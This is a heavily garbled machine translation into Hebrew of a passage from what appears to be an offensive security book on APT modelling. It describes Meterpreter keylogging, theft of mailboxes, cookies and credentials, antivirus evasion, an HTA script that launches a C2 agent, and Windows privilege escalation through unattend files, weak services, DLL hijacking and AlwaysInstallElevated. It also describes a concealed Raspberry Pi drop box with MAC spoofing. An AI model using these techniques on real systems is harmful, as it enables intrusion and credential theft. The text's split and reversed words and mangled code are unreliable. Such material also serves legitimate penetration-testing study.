כ לי עזר כא לה אז אני אמנע מ להמ ליץ כאן.
ניתן לה שתמ ש ב ט כני קות דומות כדי לגנו ב מיי לים מ ל קו חות דוא" ל א חרים ,וזה מ שהו
שאני רוצה ל ח קור בתרגי לים ה באים.
ת חנת ע בודה שנפגעהי כו לה להיות שפע ש ל אי שורים מאו ח סנים.יי שומים ר בים
מאפ שרים למ שתמ שים לא ח סן את שמות המ שתמ ש וה סי סמאות ש להם לנו חיותם
) כ לומר ,ל קו ח SFTP).עם זאת ,רו ב התו כניותיא ח סנו את ה סי סמאות ה ל לו מוצפנות,
בדרך כ ל ל ב קו בץ תצורה מ קומי או ברי שום .בנ סי בות א לה,י שנן שתי הת קפות אפ שריות:
פענו ח חנות האי שורים .תו כנות מ סוימות רגי שותיותר להת קפה זו מא חרות ,אך כ ל
ט כנו לוגיה קריפ טוגרפית המא ח סנת כמויות ק טנות ש ל נתונים כגון סי סמאות פגיעה
מ ט בעה להת קפה קריפ טו-אנ לי טית ) בהנ חה שה סי סמאות אינן ארו כות מדי( .חיפו ש
פ שו ט בגוג לי ספי ק בדרך כ ל ל כדי לג לות כיצד מ קודדת סי סמה ו באי לו כ לים ניתן
לה שתמ ש כדי ל ש חזר אותה.
לא תמיד ניתן ל ש חזר סי סמאות מוצפנות באופן זה אם לא ניתן ל ק בוע את מער כת
ההצפנה או אם ה סי סמאות ארו כות מ כדי לאפ שר הת קפת הצפנה וה שוואה
מוצ ל חת .במ קרים א לה ,זה בדרך כ ל ל מ ספי ק להעתי ק את הגי בו בים המוצפנים,
להת קין אתיי שום ה ל קו ח ו ליצור מ חד ש את קו בץ ה כני סה או את ער כי הרי שום
באופן מ קומי .זה לאייתן לך גי שה ל סי סמאות ה לא מוצפנות א ב ליאפ שר לך לג שת
ליי שומים שהם נועדו לא ב ט ח .ל ח לופין ,אם פרו טו קו ל ה חי בור שה ל קו ח מ שתמ ש בו
אינו מוצפן ) כ לומר-FTP - ,ו Telnetאנ שים עדיין מ שתמ שים בהם בר שתות מ קומיות
ו במ קומות א חרים( ,אתהי כו ל לה שתמ ש ב סניפר ר שת ) כגון ) Wiresharkבמ ח ש ב
ש לך כדי לראות את ה סי סמה מוע בר ב בהירות.
בתר חי ש זה ,היעד הוא מי קור חוץ ש ל צור כי הדוא" ל ש להם -Google,ל מה שמאפ שר
למ שתמ שים גי שה לתי בות הדואר הנ כנ ס ש להם באמצעות ממ ש ק Gmailהמו כר.
עם זאת ,נפוץ ל ח לו טין לראות ע ס קים שעו שים זאת ממ שי כים לה שתמ ש Outlook
-MSב ע ל שו ל חן הע בודה ומ שת ל בים -backendב ש ל הדואר ש ל גוג ל .זה בדרך כ ל ל
ק שור למור שת ,הי כרות ותאימות.
Machine Translated by Google
מועי ל ,ה Metasploit Framework -כו ל ל מפת ח לוגר מתאים וממ חי ש מ ספי ק
לצר כינו .כ ח ל ק מ סו כן Meterpreter,הוא גם עמיד בפני אנ טי וירו ס עם ה כנה
מתאימה .כמו ב כ ל הת קפה שמ שתמ שת -Meterpreter,בת חי להי ש להע ביר את
ה סו כן לתה ליךיצי ב א חר לפני ה שימו ש כדי לה ב טי ח שהואיי שאר בזי כרון גם אם
התה ליך שהו ליד אותויהרוג .ל שימו ש כ ל לי ,תה ליך [Link]מ קו ב ל ל ח לו טין; עם
זאת ,אם המ טרה ש לך היא ל ל כוד אי שורי כני סה ש ל Windows,ת חי לה ע ליך להזרי ק
לתה ליך [Link] .
כאמור Keyloggers ,שימו שיים ביותר ל ל כידת שמות מ שתמ ש ו סי סמאות ,אך ברור
שהםיע בדו ר ק אם המ שתמ שי ק ליד את האי שורים ה ל לו ,מה ש לאי קרה בנ סי בות
מ סוימות .לדוגמה ,בדוגמה ה קודמת דנתי ב סי סמאות מאו ח סנות .עם זאת ,ס ביריותר
שתת ק ל ביי שומי אינ טרנ ט ש לאי ב ק שו מהמ שתמ שים סי סמאות מ כיוון שמצ ב ההפע לה
נ שמר באמצעות שימו ש בעוגיות מתמ ש כות.
אתה כמו בןי כו ל לגנו ב את העוגיות מ ספריית הדפדפן כדי ל ח טוף את ההפע לה ש ל
המ שתמ ש ,א ב לי ש הר בה דר כים לה בי ס הת קפות כא לה ) לדוגמה ,ה שרת עו ק ב א חר
כתו בות IPב ס שן או לא מאפ שר כני סות במ ק בי ל( וי ש הר בה מצ בים ש בהם תרצה את
האי שורים עצמם .א חרי ה כ ל ,מ שתמ שים עו שים שימו ש חוזר ב סי סמאות ב כ ליי שומים
ו ס בי בות .בנ סי בות כא לה ,הפתרון הוא פ שו ט למ חו ק את העוגיות ו לא לץ את המ שתמ שים
להי כנ ס בפעם ה באה שהם מ ב קרים בדף האינ טרנ ט.
Chromeמא ח סן הי ס טוריה ,קו בצי Cookie,מ טמון ו סימניות במ סדי נתונים ו ב ספריות
שונות ב ספריית הנתונים ש ליי שום ל כ ל מ שתמ ש ב כתו בת
>\sresU\C:שם >\AppData\Local\Google\Chrome\User Dataשמת שמ
מ ביאים את ה כ ל בי חד
ל סי כום:
בהת קפה זו ,גר סה ש ל מא קרו VBAשימ שה כאמצעי לת קיפת מ שתמ ש ה קצה,
ק ב לת גי שה לת חנת הע בודה ש ל ה ל קו ח ופרי סה ש ל סו כן C2.ה קוד היה מפו ש ט
במידה ני כרת בה שוואה למה שתואר בפר ק 2.אין צורך לפרו ס מ טען VBSכדי
להוריד ו להפעי ל מ טען; פ שו ט ה שתמ ש במה -Windowsשנותן לך ב שורת הפ קודה.
תי בות דואר נ כנ ס נגנ בו מת חנות הע בודה היעד בצורה ש ל ק בצי tsp.שניתן ליי בא
ב ק לות למופע מ ש לך ש ל Microsoft Outlook.זה מאפ שר לתו קף לג לו ש באימיי לים
ב ק לות כאי לו היו ש לו .ח ש בו ע ל הד ברים שאתם חו ל קים עם ה קו לגות ש ל כם מדייום
מ ב לי לה שתמ ש בהצפנה .אפי לו עם הצפנה ,מפת חות פר טייםי כו לים להיגנ ב מת חנת
הע בודה ומ שפ טי סי סמה ניתן לגנו ב עם מפת חות.
סי סמאות דואר ש ל גוג ל נגנ בו באמצעות מפת חות ,מה שמאפ שר גי שה לא ר ק לממ ש ק
הדוא" ל מ בו ס ס האינ טרנ ט ,א לא גם ל חנויות מ סמ כים שה ח ש בון מ קו שר א ליהן .כ ל
ל קו ח שמ שתמ ש ב קו בצי Cookieק בועים נמ ח ק מא ח סנות העוגיות ש להם ,מה שאי לץ
את ה ל קו ח ל בצע אימות מ חד ש ו לאפ שר לתו קף ל ל כוד את האי שורים.
סי כום
מתוך כור ח ,הר בה מידע חד ש נד ח ס בפר ק זה .בד קנו את הפי קוד וה ש לי טה ה סמויים,
את ה ס כנה ה קיימת תמיד ש ל תו כנות כופר ,ו כיצד המודעות לאיום הזה צרי כה
לה שת ל ב בתרגי ל דוגמנות APT.כי סינו דר כים שונות לה שתמ ש ב ט כנו לוגיה מו כרת
כ בר כדי לפצ ח א ב ט חת ג בו לות ודר כים ח לופיות לע קוף את ט כנו לוגיית האנ טי וירו ס.
ל ב סוף ,נדונו המו שגים ש ל keyloggers,גני בת דואר א ל ק טרוני ו סי סמאות מוצפנות
במ טמון.
הפר ק ה בא אינו שונה .הר בה מו שגים חד שיםיי ס קרו .לא פ חות מ כך ,אנו נ ס קור לעומ ק
את ט כני קות ה ס למה ש ל הר שאות .זוהי מיומנות לי בה ש ל דוגמנות APTשעד כה ר ק
נגענו בה.
תרגי לים
1.י שנם מ ספר ל קו חות דוא" ל ח לופיים שי כו לים ל שמ ש כת ח ליף Outlook.
-Microsoftל ל ח ל קםי ש אינ טגרציה ש ל Exchangeו ל ח ל קם לא.
בדו ק כיצד ניתן לגנו ב תי בות דואר א ל ק טרוני מת חנות ע בודה עם ה
Machine Translated by Google
א בו לוציה
2.ע ליך לת קוף מאר ח הנגי ש ר ק דרך ר שת Torבמ ב חן חדירת ר שת מ סורתי .מיד תת ק ל
ב בעיות DNSשיפתרו את כתו בות ה . noino.-איך הייתם פותרים את ה בעיות הא לה כדי
שתו כ לו לה ביא את ה כ לים האהו בים ע לי כם נגד המ טרה?
"APPLICATIONNAME="HTA Test
"=LLORCSכן"
"ן כ"=SINGLEINSTANCE
"=ETATSWODNIWמ ק סם"
>
></head
>"<script language="VBScript
Sub TestSub
עמום objShell, objCmdExec
הגדר )"objShell = CreateObject("[Link]
הגדר >getCommandOutput = [Link] End Sub </script
)"objCmdExec = [Link]("c2agent
></body
Machine Translated by Google
קוד זה מוצג כפי שמוצג באיור 6.2,ל לא אזהרות או שגיאות כא שר נ שמר כמ סמך
[Link]ומ בוצע.
"icon="#
עם זאת ,ניתן לע קוף זאת ל ח לו טין ע לידי שימו ש ב" טו בידוע" ) כ לומרScripting Host) ,
-Windowsו PowerShellכדי ל בצע את המ טענים ש לנו .כא שר הת סרי ט מעורפ ל או,
במ קרה הזה ,אינו מעורפ ל כ ל ל ,הוא עומד בצורהיוצאת דופן מו ל ט כנו לוגיה כזו .זה
פ שו ט בג ל ל ש קו בצי ההפע לה שמא חורי כ לי ה ס קריפ טידועים לא זדוניים וה ס קריפ טים
עצמם נתפ סים ר ק כפרמ טרים .אנ טי-וירו ס קונ בנציונ לי אינו מ כיר באופן מפתיע את
האמצעים הא ל טרנ טי ביים )אך ה טריוויא ליים( ה ל לו ל ביצוע פ קודה ,כפי שמוצג באיור 6.4.
כא שר הו שגה ביצוע פ קודה בת חנת ע בודה ש ליעד ,המ טרה הרא שונה ,באופן כ ל לי,
היא לה ס לים את ההר שאות ש ל האדם כדי ל ק ב ל את ההר שאות הג בוהות ביותר
האפ שריות באופן מ קומי .זה מאפ שר לך לה שיג גי בו ב סי סמה ,ל שנות את תצורת
המאר ח ,לה שתמ ש ב ש קעים גו למיים ,ו בדרך כ ל ל להפוך את התיי ש בות הר שת ל ח ל קה
יותר .או לייתמז ל מז לך ותנ חת ע ל ת חנת ע בודה ש בה למ שתמ שים כ ברי ש הר שאות
ג בוהות ב ש ל תפ קידם או פ שו ט בג ל ל מדיניות א ב ט חה ל קויה ,א ב ל אני מני ח שאתה
ת קוע בארץ המ שתמ ש וצריך הר שאות ניהו ל .באופן כ ל לי ,ה ס למות הר שאות עו שות
א חד מ שני ד ברים :הן מנצ לות תו כנות פגיעות או מנצ לות תצורות פגיעות .סעיף זה אינו
ש לם או נועד להיות .ניתן ל ח ל ק את הד ברים ה באים ל ק טגוריות רופפות שונות ,אך כאן
א ח ל ק את ת שומת ה ל ב באופן ה בא:
ניצו ל מ קומי -תו כנות מ סוימות צרי כות להיות מ סוג לות לפעו ל עם הר שאות ג בוהות
כדי לתפ קד כה ל כה ו לפעמים ניתנות לתו כנהיותר הר שאות ממה שהיא צרי כה.
כך או כך ,אם קיימות נ קודות תורפה ) בדרך כ ל ל באגים ש ל ש חיתות זי כרון( ,אז
ניתן להערים ע ל התו כנה לתת ביצוע פ קודה ברמה שווה .ניצו לים מ קומיים קיימים
הן ב ט כנו לוגיית ה לי בה ש ל מי קרו סופ ט הנפר סת באופן אוני בר ס לי )וזה ל לא ספ ק
אידיא לי( והן בתו כנה ש ל צדדים ש לי שיים.
שי טת הת קנה פגומה -כא שר תמונת Windowsמתג לג לת ,ב חור לא מת כוון לע בור
מת חנת ע בודה לת חנת ע בודה כדי להת קין כ ל מ כונה באופןידני; במ קום זאת,
התה ליךיהיה או טומ טי.י שנן דר כים לה שיג זאת אך הד בר ה ח שו ב הוא שהתה ליך
י כו ל לה שאיר מא חוריו ק בצי תצורה המ כי לים מידע שימו שי ,כגון סי סמאות ) ש לרו ב
נמצאות ב ט ק ס ט רגי ל( או )Base64שזה טריוויא לי לפענו ח(.
שירותים פגיעים -למ שימות שירותי כו לות להיות רמות שונות ש ל א ב ט חה .אם
ח ש בון ברמת המ שתמ שי כו ל ל שנות פרמ טרים ש ל שירות,יית כן שניתןיהיה
לה שתמ ש בו כדי לה שיג ביצוע פ קודה ברמה ג בוהה.
ח טיפת DLL -זה כו ל ל ניצו ל ש ל א ב ט חת מער כת ק בצים ל קויה כדי לה ח ליף ספריית
קי שורים דינמיים (DLL).קו בצי DLLמ בוצעים באותו מר ח ב תה ליך )ו ל כן עם אותן
הר שאות( כמו קו בץ ההפע לה ה קורא להם .אם קו בץ הפע לה פוע ל כSYSTEM, -
למ ש ל ,ואנו מ ח ליפים את -DLLב -DLLה ש לנו ,נו כ ל לה שיג ביצוע קוד עם הר שאות
SYSTEM .
Machine Translated by Google
בדי קות רי שום -שימו שי למציאת ק בצים בינאריים המופע לים או טומ טית באת חו ל,
שניתן גם לה ח ליף אותם .בנו סף ,ההגדרה AlwaysInstallElevatedחיה ברי שום.
אם מופע ל ,זה מאפ שר למ שתמ שים להת קין ק בצי הת קנת ism.כ SYSTEM -גם
כא שר ל ח ש בונות ש להם אין ז כויות SYSTEM .אני מ קווה שה ס כנות כאן ברורות.
לפני שתמ שיך ,כדאי לציין ש כ כ ל שתו כ ל לתפו סיותר מידע כך המ שימה ש לך תהיה
ק להיותר .כמו ב כ ל הנו שאים המ כו סים ב ספר זה,י שיותר בה ס למה ש ל ז כויות היתר
מא שר פ שו ט לע קו ב א חר ר שימה .עם זאת ,ה בנת ה ט כני קות ה באות חיונית לה בנה
טו בה ש ל הנו שא .נ קודה מהירה נו ספת ש כדאי לה בהיר היא ש לא ניתן לת קן מ שתנה
א חד או לא ב ט ח אותו במ לואו -אנ שים .הת קפות לואו -ט קי כו לות להיותיעי לות נגד
מ שתמ שי לואו -ט ק )וא כן כא לה שצרי כים לדעת טו ביותר( .זהי כו ל להיות פ שו ט כמו
כתי בת אפ לי קציה פ שו טה המ ח קה את תי בת ב ק שת ה סי סמה ש ל Windows UAC
ו לראות מה הם מ ק לידים ,כפי שמוצג באיור 6.5.
איור 6.5:תי בת דו -שי ח ב קרת ח ש בון מ שתמ ש .זהי כו ל להיראות איך שאתה רוצה.
הע לאת הר שאות עם ניצו ל מ קומי הד בר הרא שון שאני עו שה בדרך כ ל ל כ שאני
מנ סה לה ס לים הר שאות במער כת Windowsהוא ל בדו ק אי לו תי קונים מות קנים.
אם מאר ח מתו קן בצורה גרועה ,אתהי כו ל לה שיג ניצ חון די מהר מ ב לי שתצ טרך
ל סרו ק את המער כת ב חיפו ש א חר תצורות גרועות .שורת הפ קודה ה באה תפר ט
את כ ל התי קונים המות קנים:
Machine Translated by Google
[Link] KB3024995
עד כון 2/1/2016
עד כון[Link]
KB2849697 23/12/2014
עד כון[Link]
KB2849696 23/12/2014
עד כון[Link]
KB2841134 23/12/2014
[Link] KB2670838 23/12/2014
עד כון
[Link] KB2305420
ט חה24/12/2014
עד כון א ב
[Link] KB2393802
ט חה24/12/2014
עד כון א ב
[Link] KB2479943
ט חה24/12/2014
עד כון א ב
[Link] KB2491683
ט חה24/12/2014
עד כון א ב
[Link] KB2506212
ט חה24/12/2014
עד כון א ב
[Link] KB2509553
ט חה24/12/2014
עד כון א ב
[Link] KB2511455
ט חה24/12/2014
עד כון א ב
[Link] KB2532531
ט חה24/12/2014
עד כון א ב
[Link] KB2536275
ט חה24/12/2014
עד כון א ב
[Link] KB2536276
ט חה24/12/2014
עד כון א ב
[Link] KB2544893
ט חה24/12/2014
עד כון א ב
עד כון[Link]
KB2552343 24/12/2014 [Link]
KB2560656 24/12/2014 עד כון א ב ט חה
[Link] KB2564958 ט חה24/12/2014
עד כון א ב
Machine Translated by Google
>C:\Users\wallsopp
א לו חד שות רעות שהתי קון קיים א ב ל זה ניצו לי שן מאוד אז זהיהיה מוזר אם זה לא
היה .ב כ ל מ קרה ,חיפו ש באמצעות פ ל ט תי קון KBא חד ב כ ל פעם הוא מייגע ,גוז ל זמן
ומיותר .עדיף ל שמור ר שימה ש ל מ ספרי KBוהפגיעויות ה ק שורות א ליהם ,ו ב כך לאפ שר
מאמץ מהיר ש ל ס קריפ טים כדי ל ק בוע אי לו תי קונים ח סרים .הד בר ה כי טו ב בזה הוא
שהמ שימות ה כ בדות נע שו ב ש בי לך .מי קרו סופ ט שומרת ע ל מ סד נתונים זמין ומעוד כן
שמ כי ל את כ ל המידע הזה וי ש כמה כ לים זמינים באופן חופ שי שמנצ לים אותו .אני
אתאר כאן כ לי א חד כזה ,הנ קרא באופןיצירתי Windows Exploit Suggester.הת קן
אותו מהמאגר ועד כן אותו:
זה מעד כן את מ סד הנתונים ש ל KBהמ קומי ,שאם אתה ס קרן ,נראה כמו איור 6.6.
Machine Translated by Google
פ קודה זו מיועדת ל שמ ש מנה לי מער כת כדי ל בנות במהירות תמונה ש ל מאר ח לפתרון
בעיות ,אך מדו בר בנתונים די שימו שיים גם לתו קף .הוא מ כי ל ,בין היתר ,מידע מפור ט ע ל
מער כת ההפע לה ,כו ל ל כ ל התי קונים המות קנים ו כן מידע ר שת ו חומרה.
[E] MS15-134:עד כון א ב ט חה ע בור Windows Media Centerל טיפו ל ב ביצוע קוד מר חו ק (3108669) -
ח שו ב [E] MS15-132:עד כון א ב ט חה ע בור Microsoft Windowsל טיפו ל ב ביצוע קוד מר חו ק -
) (3116162ח שו ב [M] MS15- 100:פגיעות -Windows Media Centerב ע לו לה לאפ שר ביצוע קוד
מר חו ק (3087918) -ח שו ב ]ה[ MS14-026:פגיעות -.NET Frameworkב ע לו לה לאפ שר הע לאת
הר שאות (2958732) -ח שו ב ]*[נע שה
מעניין -אר בע נ קודות תורפה עם קוד ניצו ל עו בד זמינות .ה E -מציין ניצו ל שנמצא בתוך
מ סד הנתונים ש ל ניצו ל -Offensive Security,ה בעוד הM -אומר שהת קפה זו מ שו ל בת
במ סגרת Metasploit.
הראיתי דוגמה כיצד לה שתמ ש במנצ ל מ קומי מו קדםיותר בפר ק 4 ,אז אני לא
רוצה ל בז בז עוד עות ק לע שות זאת שו ב .עם זאת ,ראוי להז כיר שניתן לנצ ל פגיעויות
מ סוימות בצורה מהימנהיותר מא חרות ,ו חיוני שהמע בדה ש לך תהיה מצוידת
בתמונות מ כונות ויר טוא ליות כדי לע בוד דרך הא ק סצנ טריות ה שונות שתמצא.
זרי קה עיוורת ש ל ניצו ל א חר ניצו ל ע ל מ כונה שנפרצה תו בי ל ר ק לת ס כו ל ו למ שימה
כו ש לת.
][GuiUnattended
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=P4ssw0rd
אזור זמן=02
זה לא ממצה ב שום פנים ואופן ,א ב ל ע ל התפ שרות ע ל מער כת חד שה ,כדאי ל בצע
חיפו ש ש ל [Link], [Link]ו[Link]. -א להי כו לים להיות
ניצ חונות מהירים מאוד.
בפורמ ט זה.
זמוןן לא
תזמי
ים:
זמנ
י לו ח
נתונ
ימים: לא
חוד שים: לא
חזור :כ ל: שעה א חת0 ,ד קות
חזור :עד :זמן: אף א חד
נראה כי מ שימה זו היא סוג ש ל תה ליך ני טור בריאותי והיא מ בוצעת כ ל שעה .זה מופע ל ב-
SYSTEMכך שאם אתהי כו ל לה ח ליף את [Link]בדי ס ק ,אתה מו כן ל ל כת:
זה מה שאנ חנו אוה בים לראות! גי שה מ לאה לBUILTIN\Users! -ה טמ טום הזה נפוץ
למדי בתו כנות ש ל צד ש לי שי.
כפי שצוין קודם ל כן ,מתזמן המ שימות הוא גם דרך שימו שית לה שיג התמדה או ני טור
בריאותו ש ל סו כן C2ש לך .הפ קודות ה באות אמורות להיות שימו שיות בה ק שר זה:
LOAD_ORDER_GROUP :
0 :תג
: VulnService
הצג שם
: ת לות
מער כת מ קומיתSERVICE_START_NAME:
ניתן ל שאו ל שירותים בנפרד או באצווה כדי ל ק בוע את כ ל לי ב קרת הגי שה ש להם
שהיא הורדה ב חינם באתרMicrosoft Sysinternals, )תזד ק ק ל ח בי לת
Microsoft): האינ טרנ ט ש ל
C:\Users\wallsopp>[Link] -ucqv VulnService VulnService
: כדי לה שיג זאתVulnService . כ ל מ שתמ ש מ חו ברי כו ל ל שנות פרמ טרים ע בור שירות
כא שר קו בץ הפע לה מופע ל ,הוא מ ק ב ל מר ח ב תה ליך מוגן מ ש לו ,כ לומר ,כתו בת זי כרון
היאי ח סית לתה ליך זה ותו כנות א חרות אינןי כו לות ל כתו ב ב טעות ע ל ה ח ל ק שהו קצה
לה בזי כרון DLL, .לעומת זאת ,נ טען לתוך ח ל ל התה ליך ש ל התו כנית ה קוראת לו ,ו ל כ ל
ד בר ,הופך ל ח ל ק מאותה תו כנית.י ש לזהיתרונות ו ח סרונות מנ קודת מ ב ט ש ל פיתו ח
תו כנה ,א ב ל מה שמעניין את התו קף הוא ש ל LLD-אין הר שאות הפע לה מ ש לו .הוא
יור ש הר שאות מ קו בץ ההפע לה שמיי בא אותו .במי לים פ שו טות ,אם אפ לי קציה פוע לת
עם הר שאות מוג ברות ואתהי כו ל לה ח ליף DLLשהיא מיי באת עם א חד שיצרת ,אז
אפ שר ל ק ב ל ביצוע קוד עם אותן הר שאות.
ירותים
[Link] N/ ש2700
A ידוע לא[Link] 4.124 K 0
NT AUTHORITY\SYSTEM
ירותים
[Link] N/A לאידוע ש2768
[Link] 73.760 K 0
NT AUTHORITY\SYSTEM
ירותים
[Link] N/A לאידוע ש2808
[Link] 9.328 K 0
NT AUTHORITY\SYSTEM
ירותים
[Link] N/A ידוע ש3088
לא[Link] 16.220 K 0
NT AUTHORITY\SYSTEM
לא זמין[Link]
[Link] N/4012 ירותי
A ידוע ש
לא[Link] 3.216 K 0
NT AUTHORITY\SYSTEM
4020 שירותי
[Link] N/A לאידוע[Link] 4.676 K 0
NT AUTHORITY\SYSTEM
ירותים
[Link] N/ ש4028
A ידוע לא[Link] 3.208 K 0
NT AUTHORITY\SYSTEM
Machine Translated by Google
)NT AUTHORITY\SYSTEM:(I)(F
\YTIROHTUANTמ שתמ שים מאומתים(I)(M):
)BUILTIN\Users:(I)(F
ה ש ל ב ה בא הוא ליצור DLLשי בצע קוד או טומ טית ברגע שהואיו בא לתה ליך
[Link] .ברור שזה ספציפי ל שפה ,א ב ל הדוגמה המוצגת היא ע בור Visual C++.
צור פרוי ק ט DLLחד ש והד ב ק
Machine Translated by Google
ה קוד ה בא:
>#include <stdio.h
>#include <windows.h
ל ש בור; {
זוהי פונ קציית DLLMainפ שו טה מאוד שתת בצע ברגע שהLLD-יו בא .ה קודי בוצע כ-
SYSTEM.זה אומר שאם אתה קורא לפ קודה )( Shellכדי להפעי ל קו בצי הפע לה
חיצוניים ,אז גם הםייר שו הר שאות ברמת SYSTEM .
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
Machine Translated by Google
אַזהָ ָרה
אפ שרות זו שוות ערך להענ קת ז כויות מנה ליות מ לאות ,שע לו לות להוות סי כון
בי ט חוני עצום .מי קרו סופ ט מונעת בתו קף את ה שימו ש בהגדרה זו.
Machine Translated by Google
מפר ט תי בת קריפר
כדי לה שיג את הפתרון הזה ש ל תי בת ז חי לה ,ת חי לה ח שו ב ל ש קו ל את דרי שות ה חומרה:
מ ספי ק חז ק כדי להיות מ סוג ל להפעי ל תו כנת בדי קת חדירה ו סו כן SSH C2.
נתונים שנ ל כדים ומאו ח סנים ע לידי המ כ שיר צרי כים להיות מאו ב ט חים ,כ לומר,
בצורה מוצפנת.
אם אפ שר ,ההת קן צריך להיות מ סוג ל Power over Ethernet (PoE).זה מ ק טין
את ט ביעת הרג ל ש לו ומ ב טי ח שאם הואיתג לה ו כ ב ל הר שת נמ שך )אויציאת המתג
מו ש בתת( ,הואיי כ בה מיד .זה מ ב טי ח ) בהנ חה שההצפנה מיו שמת כה ל כה( ניתו ח
פורנזי ש ל המ כ שיריהיה ב לתי אפ שרי.
קי שוריות מר חו ק היא דרי שה ברורה וצרי כה להיות מיו שמת מ חוץ לפ ס ) כ לומר ,לא
באמצעות ת שתית הר שת ש ל היעד עצמו( .הדרך ה ק לה והיעי לה ביותר לע שות זאת
היא באמצעות מתאם 3G/4Gהנו שא את תע בורת ה HSS-ב חזרה ל שרת C2.
ב ח ל ק זה אני דן במ כ שיר Raspberry Pi 3Bו בתצורה והיי שום ש לו בפעי לויות בדי קות
חדירה .המ כ שיר עונה ע ל כ ל הדרי שות ה ל לו מ חוץ ל קופ סה ,מ ל בדי כו לות PoEו/G3-
4G,שניתן להו סיף .זה מאפ שר ל בנות את פתרון ה קריפ בפ חות מ 001-דו לר.
הת קן המ שתמ ש בהצפנת די ס ק מ לאה לאיהיה ניתן לאת ח ל מ כיוון שה קונ סו לה
תדרו ש בי טוי סי סמה כדי ל ב ט ל את נעי לת ה כונן -אם כי זה ע שוי להיות בדיו ק מה
שאתה צריך ו כ כזה זו הגי שה שאני נו ק ט בפר ק זה .פתרון נו סף הוא הצפנת די ס ק
ח ל קית ,להגדיר את ההת קן ל טעון את מנה לי ההת קן ש ל 3G/4Gבאת חו ל ו להת ק שר
ה ביתה ו לא חר מ כן ניתן ל ב ט ל את נעי לת המ חיצה המוצפנת ע לידי ה שרת או באופן
ידני ו לה שתמ ש בו אך ור ק לא ח סון נתונים .ה ס כנה ב כך היא ש סו כן C2וי כו לותיויתג לו
כ כ ל הנראה ע לידי ניתו ח מ שפ טי מו כ שר.
אַזהָ ָרה
הא ל חו ט המו בנה כמע ט ח סר תוע לת ל בדי קת חדירה ,מ כיוון ש לא ניתן להצי ב את
המתאם במצ ב צג .זה אומר שאיןיירו ט מנות )אם כי זהי כו ל ל שמ ש כערוץ ניהו ל
נו סף( .עם זאת ,אין סי בה ש לא תו כ ל ל ח בר מ שהו טו ביותר לא חת מיציאות
-USBההר בות.
GPIO
מת קן 40פינים תפו קה כ ל לית ) (GPIOמאפ שר לך להו סיף חומרה מותאמת אי שית
ל לו ח.י ש הר בה אפ שרויות לר כי שה מהמדף ,כו ל ל מ ס כי מגע ק טנים ,ממ ש קי רו בו טי קה
ומודו לי PoE.הא חרון מתאים לצר כים ש לנו בצורה מו ש למת .ראה איור 6.9.
Machine Translated by Google
הת קנת ד ביאן בתוך מנה ל נפ ח לוגי מוצפן )(LVMהיא מ שהו שמת בצע בדרך כ ל ל
במה לך תה ליך ההת קנה ועניין ש ל ב חירת אפ שרות מתפרי ט .עם זאת ,עם Raspbian
ע ל -Piהאין הת קנה כ ש לעצמה .ל כן התה ליך קצתיותר מעור ב א ב ל בה ח ל ט לא ב לתי
אפ שרי .ע בור ה ש ל בים הא לה ,תצ טרך:
3.שנה את ה סי סמה.
4.הפע ל את שרת SSH.
7.עד כן את ה קו ש חה.
מ שורת הפ קודה Pi,זה מו שג באופן ה בא:
הה שני באופן-microSD ע ל כר טי סRaspbian צרו ב את ההפצה העד כנית ביותר ש ל,שו ב מד ביאן
systemsd: אני מתיי ח ס ל כר טי ס הזה כא ל.ה בא
. שנה את ה סי סמה3.
SSH. הפע ל את שרת4.
…
ע כ שיוinitramfs [Link] followkernel $ sudo shutdown -hP
:ה שתמ ש בננו )או מה שאתה מעדיף( כדי לערוך את ה ק בצים כפי שמוצג
root - לroot=devmmcblk0p2 שנה את$ sudo nano /[Link]
$ sudo nano mntrootetcfstab הו סףroot=devmapper/cvg-
cryptdevice=devmmcblk0p2:crypt
LV%ק
VGעות
Attrיומן
Convert home
הע ברLSize cvgOrigin
Pool -wi-a---Data%
2.85g
ו, באופן ה באfstab כ שנה את-root, הי כנ ס,ה סיים לאת ח ל מ חד ש-Pi כא שר
initramfs: ואז כתו ב מ חד ש
# nano etcfstab
פרו ק /proc פרו ק ברירות מ חד ל 0
0
devmmcblk0p1 מַ גָף/ vfat ברירות מ חד ל 0
0
devmapper/cvg-root / ext4 noatime 0 ,ברירות מ חד ל
1
Machine Translated by Google
ס בי בת המ טרה והגוד ל ,א ב ל גם גורמים ניתנים ל ש לי טה כמו התגנ בות מי קום .גם אם
המ כ שיר מו סתר הי ט ב מ ב חינה פיזית או מו סתר לעין כ שהוא מת חזה למ שהו א חר
) לדוגמה ,ממו קם בתי ק עם מד ב קות אזהרה ע ל ח ב לה( ,הואיצ טרך ) ברו ב המ קרים(
כתו בת IPבר שת ו ל כן ע שוי להיות להתג לות ב סרי קת פגיעות שגרתית או גי לוי נ כ סים.
דרך ק לה ל קנות לעצמךיותר זמן היא ל שנות את כתו בת ה CAM-ש ל -Piה למ שהו
שמ שויך ל חומרה שונה כמו נת ב או מתג -מ שהו שאנ שים לאית חי לו ל ח ט ט בו ב לי
זהירות .כדי לה שיג זאת ,מצא את קו בץ [Link]במ ס לו ל ש ל כר טי ס )microSDלא
ה שור ש ש ל מער כת ההפע לה Raspbian).זהייראה בערך כך:
הו סף את ה שורה ה באה כדי להגדיר את כתו בת ה CAM-לפי ב חירתך .במ קרה זה,
ש לו שת האו ק ט טים הרא שונים מציינים שהמ כ שיריוצר ע לידי Cisco Systems Inc.:
[Link]=[Link]
שימו ש בת שתית הר שת ש ל היעד עצמו -זה לא מומ לץ ,מ כיוון שיית כן ויציאה לא תהיה זמינה או
שתהיה מוג ב לת מאוד .בנו סף ,אתה חו שף מיותר את התנועה ש לך ל כ ל מדיניות א ב ט חה ו ט כנו לוגיות
ש קיימות.
יצירת APבאמצעות ה ש ב ב הא ל חו טי המו בנה ש ל -Pi -ה שו ב ,זה ע שוי לע בוד במהירות בנ סי בות
מוג ב לות מאוד ,א ב ליהיה מת כון לת ס כו ל בהת ח ש ב ב טוו ח והעוצמה המוג ב לים ש ל המ כ שיר .אתהי כו ל
להו סיף חומרה א ל חו טית חז קהיותר ,א ב ל זהיהיה לרעת התגנ בות ) כמו ש בדרך כ ל ל מ שתמ שים
בנ קודת גי שה א ל חו טית(.
ה שתמ ש ב חי בור 3G/4Gכדי לד בר ב חזרה ל שרת C2 -זהו תר חי ש אידיא לי בהנ חה שהר שת
שאתה מת ח בר א ליה אינה מוגנת ע לידי כ לו ב Faraday.זו הגי שה שאתאר כאן.
